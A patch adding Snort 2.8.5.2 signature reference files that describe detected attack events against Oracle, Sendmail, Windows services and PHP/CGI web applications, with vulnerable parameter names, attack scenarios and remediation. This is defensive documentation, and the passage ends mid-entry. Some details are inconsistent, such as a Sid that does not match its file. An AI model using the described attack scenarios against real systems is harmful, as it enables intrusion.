+++ snort-2.8.5.2/doc/signatures/2605.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2605
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "compare_old_value" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck91.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-17.txt
+++ snort-2.8.5.2/doc/signatures/119-17.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+119-17
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may indicate improper use of unauthorized web proxy
+servers.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of an unauthorized web proxy by clients on the protected network.
+This event may also be generated if a web client is not using one of the
+configured proxy servers to browse the web.
+
+--
+Affected Systems:
+	All client systems.
+
+--
+Attack Scenarios: 
+A malicious user may try to use an unauthorized proxy server in an
+attempt to subvert company policy on the use of the Internet.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/673.txt
+++ snort-2.8.5.2/doc/signatures/673.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+NGSSoftware Advisory:
+http://www.nextgenss.com/advisories/mssql-jobs2.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/400.txt
+++ snort-2.8.5.2/doc/signatures/400.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+400
+
+--
+
+Summary:
+This event is generated when An ICMP Network Unreachable For Type Of Service datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when the route to the destination network does not support the Type of Service requested in the datagram or the default TOS.  This could be an indication or routing problems or excessive packet loss.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3101.txt
+++ snort-2.8.5.2/doc/signatures/3101.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3101
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3460.txt
+++ snort-2.8.5.2/doc/signatures/3460.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid: 
+3460
+
+--
+Summary:
+This event is generated when a numeric argument to the REST command is
+detected.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is generated
+when a numeric argument to the REST command is detected.
+
+If a numeric argument is supplied to the REST command on an affected
+HP-UX system, it may be possible for an attacker to discover the
+contents of a particular memory location identified by the argument.
+This may in turn lead to the disclosure of sensitive information on the
+host.
+
+--
+Affected Systems:
+	HP-UX 11.0 utilizing HP-UX ftpd 1.1.214 .4
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple. Exploit code is not needed but code does exist.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000697.txt
+++ snort-2.8.5.2/doc/signatures/100000697.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000697
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VCard PRO" application running on a webserver. Access to the file "search.php" with SQL commands being passed as the "event_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "event_id" parameter in the "search.php" script used by the "VCard PRO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VCard PRO
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1536.txt
+++ snort-2.8.5.2/doc/signatures/1536.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1536
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000560.txt
+++ snort-2.8.5.2/doc/signatures/100000560.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000560
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "eNpaper1" application running on a webserver. 
+Access to the file "root_header.php" using a remote file being passed as the 
+"ppath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "ppath" parameter in the "root_header.php" script used 
+by the "eNpaper1" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using eNpaper1
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2150.txt
+++ snort-2.8.5.2/doc/signatures/2150.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 2150
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability in a ttCMS or ttForum PHP application.
+
+It is possible for an attacker to include a PHP file of his choosing via a URL in ttCMS or ttForum PHP applications, the script is processed and executed with the privileges of the user running the webserver. This is due to poor checking of user supplied variables in the News.php and Install.php scripts.
+
+The vendor for these applications states that exploitation is not possible. However, proof of concepts for these issues have been circulated.
+
+--
+Affected Systems:
+Any host using ttCMS or ttForum.
+
+--
+Attack Scenarios:
+An attacker could include a PHP file of his choice by including the file name in a URI supplied to the webserver that would in turn process the script via either News.php or Install.php.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host.
+
+Check the webserver log files for signs of this activity.
+
+Where possible, ensure the webserver is run as an unprivileged process.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7542
+http://www.securityfocus.com/bid/7543
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/364.txt
+++ snort-2.8.5.2/doc/signatures/364.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+364
+
+--
+Summary:
+This event is generated when an external server sends an ICMP IRDP router advertisement message to an internal server. This may indicate an attempt to cause a denial of service by adding spoofed router information to an IRDP-enabled host's routing table.
+
+--
+Impact:
+Denial of service. 
+
+--
+Detailed Information:
+The ICMP Router Discovery Protocol (IRDP) is enabled by default on some Microsoft Windows and Sun Solaris operating systems. IRDP messages broadcast network routing information, and computers with IRDP enabled will store this routing information in their default routing tables. There is no way to determine whether the IRDP broadcast is authentic or spoofed, and some hosts will use the routes that appear in their local routing tables before using routes discovered via DHCP.
+
+An attacker can exploit this behavior by broadcasting IRDP messages with erroneous routing information to a target network. This will cause some IRDP-enabled hosts on that network to route traffic through the route advertised in the spoofed IRDP message. If the spoofed IRDP message contains nonexistent/inaccessible routing addresses, the target will not be able to connect to external networks, causing a denial of service. This may also facilitate man-in-the-middle attacks or interception of data by an attacker.
+
+Note that if an attacker is on the internal network, he/she can use valid routing addresses in the spoofed IRDP messages to passively monitor other machines or to perform "man-in-the-middle" attacks.
+
+--
+Affected Systems:
+Microsoft Windows 95
+Microsoft Windows 98
+Microsoft Windows 98SE
+Sun Solaris 2.6
+
+--
+Attack Scenarios:
+An attacker crafts spoofed IRDP broadcast messages and forwards them to a target network. If the messages are not filtered by the firewall and are broadcast to the internal network, some IRDP-enabled hosts begin routing traffic through the routes advertised in the IRDP broadcast message, which can cause a denial of service condition.
+
+--
+Ease of Attack:
+Simple. A proof-of-concept exists.
+
+--
+False Positives:
+This rule may generate an alert if legitimate ICMP traffic of type 10 is sent from an external server to an internal server.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+For vulnerable Windows computers, disable IRDP on the vulnerable system (see http://support.microsoft.com/support/kb/articles/q216/1/41.asp).
+
+For vulnerable Solaris 2.6 computers, install the patch provided by Sun (see http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access).
+
+Use a packet filtering firewall to block ICMP type 9 packets from entering the internal network.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>.
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0875
+
+Arachnids:
+http://www.whitehats.com/info/IDS174
+
+Bugtraq:
+http://www.securityfocus.com/bid/578
+
+RFC:
+http://www.cotse.com/CIE/RFC/Orig/rfc1256.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3429.txt
+++ snort-2.8.5.2/doc/signatures/3429.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3429
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2177.txt
+++ snort-2.8.5.2/doc/signatures/2177.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+folder via SMB. 
+
+--
+Impact:
+Serious. This folder contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a folder
+containing important operating system files using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this folder is accessible via SMB the attacker can replace or view
+important operating system files.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000701.txt
+++ snort-2.8.5.2/doc/signatures/100000701.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000701
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "WordPress" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "paged" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "paged" parameter in the "index.php" script used by the "WordPress" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using WordPress
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1478.txt
+++ snort-2.8.5.2/doc/signatures/1478.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1478
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/667.txt
+++ snort-2.8.5.2/doc/signatures/667.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+667
+
+--
+Summary:
+This event is generated when an external attacker attempts to exploit a vulnerability in Sendmail where newline characters in ident messages are not properly parsed.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Sendmail 8.6.10 and earlier versions contain a vulnerability related to the parsing of newline characters (\n) in commands passed from ident to Sendmail. An attacker can use a specially crafted command with newlines in an ident response to Sendmail. The message is not properly parsed and Sendmail forwards the response, with included commands, to its queue. The commands are then executed while the message awaits delivery in the Sendmail queue, causing the included arbitrary code to be executed on the server in the security context of Sendmail. 
+
+--
+Affected Systems:
+Systems running unpatched versions of Sendmail 8.6.10 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends an email with newline characters and includes a path variable of P=/bin/sh. Directives included in the transmission are executed while the message remains in the Sendmail queue.
+
+--
+Ease of Attack:
+Moderate. Multiple exploits exist, but the window of opportunity is small; the vulnerability must be exploited while the message is queued for delivery and must have sufficient time (the mail server must be busy/slow) to execute the commands.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of Sendmail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
+
+Bugtraq
+http://www.securityfocus.com/bid/2311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1194.txt
+++ snort-2.8.5.2/doc/signatures/1194.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1194
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000347.txt
+++ snort-2.8.5.2/doc/signatures/100000347.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000347
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ezupload Pro" application running on a webserver. Access to the file "form.php" using a remote file being passed as the "path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "path" parameter in the "form.php" script used by the "Ezupload Pro" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ezupload Pro
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/867.txt
+++ snort-2.8.5.2/doc/signatures/867.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+867
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000336.txt
+++ snort-2.8.5.2/doc/signatures/100000336.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000336
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpMyDirectory" application running on a webserver. Access to the file "footer.php" using a remote file being passed as the "ROOT_PATH" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "ROOT_PATH" parameter in the "footer.php" script used by the "phpMyDirectory" application running on a webserver.
+
